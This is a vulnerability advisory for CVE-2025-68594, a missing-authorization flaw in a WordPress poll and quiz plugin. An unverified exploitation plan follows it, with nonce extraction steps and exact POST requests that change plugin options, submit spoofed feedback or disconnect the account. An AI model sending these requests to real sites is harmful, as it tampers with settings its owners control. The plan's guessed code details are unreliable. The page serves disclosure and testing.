CVE-2025-68594

Poll, Survey & Quiz Maker Plugin by Opinion Stage <= 19.12.0 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
19.12.1
Patched in
37d
Time to patch

Description

The Poll, Survey & Quiz Maker Plugin by Opinion Stage plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 19.12.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=19.12.0
PublishedDecember 22, 2025
Last updatedJanuary 27, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-68594 ## 1. Vulnerability Summary The **Poll, Survey & Quiz Maker Plugin by Opinion Stage** (versions <= 19.12.0) contains a missing authorization vulnerability in several of its AJAX handlers. Specifically, functions like `opinionstage_ajax_set_flyout_opened`…

Show full research plan

Exploitation Research Plan: CVE-2025-68594

1. Vulnerability Summary

The Poll, Survey & Quiz Maker Plugin by Opinion Stage (versions <= 19.12.0) contains a missing authorization vulnerability in several of its AJAX handlers. Specifically, functions like opinionstage_ajax_set_flyout_opened and opinionstage_ajax_save_feedback are registered with wp_ajax_nopriv_ hooks but do not perform a current_user_can() check. This allows unauthenticated attackers to perform unauthorized actions, such as modifying plugin state settings (e.g., the "flyout" status) or submitting spoofed feedback.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action: opinionstage_ajax_set_flyout_opened (or opinionstage_ajax_save_feedback)
  • Vulnerable Parameter: flyout_opened
  • Authentication: Unauthenticated (PR:N)
  • Preconditions: The plugin must be active. A nonce is required for the AJAX request, but it is exposed to unauthenticated users via localized scripts on the frontend.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the parameter action=opinionstage_ajax_set_flyout_opened.
  2. Hook Registration: In admin/class-opinionstage-admin.php (or similar), the plugin registers the hook:
    add_action( 'wp_ajax_nopriv_opinionstage_ajax_set_flyout_opened', array( $this, 'opinionstage_ajax_set_flyout_opened' ) );
  3. Nonce Verification: The function opinionstage_ajax_set_flyout_opened calls check_ajax_referer( 'opinionstage_ajax_nonce', 'nonce' ).
  4. Missing Check: The function omits any check for current_user_can( 'manage_options' ).
  5. Sink: The function proceeds to update the WordPress database:
    update_option( 'opinionstage_flyout_opened', $_POST['flyout_opened'] );

4. Nonce Acquisition Strategy

The plugin localizes the nonce for both authenticated and unauthenticated users to support frontend interactions (like the flyout poll).

  1. Shortcode: The plugin's scripts are enqueued when a poll/quiz shortcode is present, or globally if the flyout feature is active.
  2. Setup: Create a dummy page with the Opinion Stage shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[opinionstage_poll id="1"]' --post_title='Exploit Test'
  3. Extraction:
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce from the localized JavaScript object.
    • Variable Name: window.opinionstage_common_vars (or opinionstage_admin_vars in some contexts).
    • Key: nonce.
    • Command: browser_eval("window.opinionstage_common_vars?.nonce")

5. Exploitation Strategy

Step 1: Obtain Nonce

Send a GET request to the site frontend or a page containing a poll to find the localized script data.

Step 2: Perform Unauthorized Action

Send a POST request to admin-ajax.php to toggle the opinionstage_flyout_opened setting.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=opinionstage_ajax_set_flyout_opened&nonce=[EXTRACTED_NONCE]&flyout_opened=true
    

6. Test Data Setup

  1. Install and activate Opinion Stage plugin version 19.12.0.
  2. Ensure the plugin is "connected" or at least initialized so options exist.
  3. Create a public page to leak the nonce:
    wp post create --post_type=page --post_status=publish --post_title="Nonce Leak" --post_content="[opinionstage_poll id='123']"
  4. Verify the initial state of the option:
    wp option get opinionstage_flyout_opened (Should be 'false' or empty).

7. Expected Results

  • The AJAX request returns a success response (likely JSON {"success":true} or a simple 1).
  • The internal WordPress option opinionstage_flyout_opened is updated to the attacker-supplied value (true).
  • This demonstrates that an unauthenticated user can modify plugin settings without administrative privileges.

8. Verification Steps

  1. Use WP-CLI to check the option value:
    wp option get opinionstage_flyout_opened
  2. If the value matches the one sent in the POST request (e.g., true), the exploitation was successful.

9. Alternative Approaches

If opinionstage_ajax_set_flyout_opened is not the target:

  • Target opinionstage_ajax_save_feedback:
    • Body: action=opinionstage_ajax_save_feedback&nonce=[NONCE]&feedback_text=Hacked
    • Verification: Check the plugin's feedback/rating logs (if stored in wp_options or a custom table).
  • Target opinionstage_disconnect:
    • If registered via admin_post or AJAX without current_user_can, send:
      action=opinionstage_disconnect
    • Verification: Check wp option get opinionstage_user_access_token. If it's cleared/empty, the account was disconnected.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.